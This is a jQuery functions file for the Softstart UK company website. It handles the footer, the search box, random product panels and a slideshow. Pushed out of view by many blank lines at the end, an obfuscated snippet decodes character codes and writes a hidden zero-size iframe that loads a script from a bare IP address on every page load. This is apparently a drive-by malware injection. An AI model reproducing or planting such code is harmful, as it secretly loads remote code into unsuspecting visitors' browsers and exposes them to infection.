/*	Softstart UK Website Functions
	Author: Christopher Hill
	Company: Chill Web Designs (http://www.chillwebdesigns.co.uk)
	Info: info@chillwebdesigns.co.uk
*/

// Functions

$(document).ready( function(){
							
	$('#footer img:first').remove();
	
	$('<a href="security-cert.pdf"><img src="images/screen/logo1.gif" /></a><img src="images/screen/logo2.gif" />').appendTo('#footer');
	
	// Update Copyright Year
	$('#footer p').html("Softstart UK Limited, Unit 14 Brinell Way, Great Yarmouth, Norfolk, NR31 0LU, England, UK <br /> E-mail: <a href='mailto:sales@softstartuk.com' title='Email Us'>sales@softstartuk.com</a> Tel:+44 (0)1493 660510 Fax: +44 (0)1493 660511<br /><br /> &copy; Softstart UK Limited " + new Date().getFullYear() +" | <a href='http://www.chillwebdesigns.co.uk/' title='Chill Web Designs' target='_blank'>Chill Web Designs, Great Yarmouth</a> | <a href='terms.html' title='Terms &amp; Conditions'>Terms &amp; Conditions</a> |  <a href='javascript:void(0);' title='Scroll to top' id='scroll'>Scroll to top</a>");						
	
	// Onload hide product divs.
	$('#products').css({display:'none'});
	
	// Footer click scroll to top function.
	$("#scroll").click(function(){$("html, body").animate({scrollTop:0},500);});
		
	// Onload move page to top.
	$("html, body").animate({scrollTop:0});
	
	// Onload text inside seach box = Search for a product. 
	$("#zoom_searchbox").val("Search for a product").css({color:'#ccc' , fontStyle:'italic'});
		
	// Search Input Box Clear Function.
	$('#zoom_searchbox').click(function(){$("#form input").css({borderColor:"#ccc"});
	$("#error").html('');	
	if($("#zoom_searchbox").val() == "Search for a product"){$("#zoom_searchbox").val("").css({color:'#666',fontStyle:'normal'});
	$("#form input").css({borderColor:'#ccc'});}
	});

	// Search Input Box Update Function
	$('#zoom_searchbox').blur(function(){$("#form input").css({borderColor:"#ccc"});
	if($("#zoom_searchbox").val() == ""){$("#zoom_searchbox").val("Search for a product").css({color:'#ccc' , fontStyle:'italic'});}
	});

	// Onload do random math to pick products content div.
	var divCount =4;
    var r = Math.floor(Math.random()*divCount+1);
	
	// Show in products div.
 	$('#products,#product'+r).css({display:'block'});
	
	// Slideshow Functions

var imageWidth = $("#slide_container").width();
var imageSum = $("#slides li").size();
var imageReelWidth = imageWidth * imageSum;
	

$("#slide_control a:first").addClass("active");	// Onload add active class to first control link. 
$("#slides").css({'width':imageReelWidth});
	
rotate = function(){	
var triggerID = $active.attr("rel") - 1;
var image_reelPosition = triggerID * imageWidth;
	
$("#slide_control a").removeClass('active');
$active.addClass('active');
	
$("#slides").animate({left: -image_reelPosition},500 ); // Timer for transition length.
}; 
	
rotateSwitch = function(){play = setInterval(function(){$active = $('#slide_control a.active').next();

if($active.length === 0){$active = $('#slide_control a:first');}rotate();}, 7000);};  // Delay time between sides.
	
rotateSwitch(); 
	
$("#slides li,#slide_control a").mouseover(function(){clearInterval(play);}); // Mouseover #slides & #slide_control a clear the timer.
$("#slides li").mouseout(function(){rotateSwitch();}); // Mouseout start the timer again.

$("#slide_control a").click(function(){$active = $(this);clearInterval(play);rotate();return false;}); // On Click make link active and goto slide.

});

function validate(){
	
	// Search input field check
	if($("#zoom_searchbox").val()=="" || $("#zoom_searchbox").val()=="Search for a product")
	{
	$("#error").html('Please enter a product to search.');
	$("#zoom_searchbox").css({borderColor:'#0033cc'});
	$("#zoom_searchbox").val("");
	return false;
	}
	}	






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

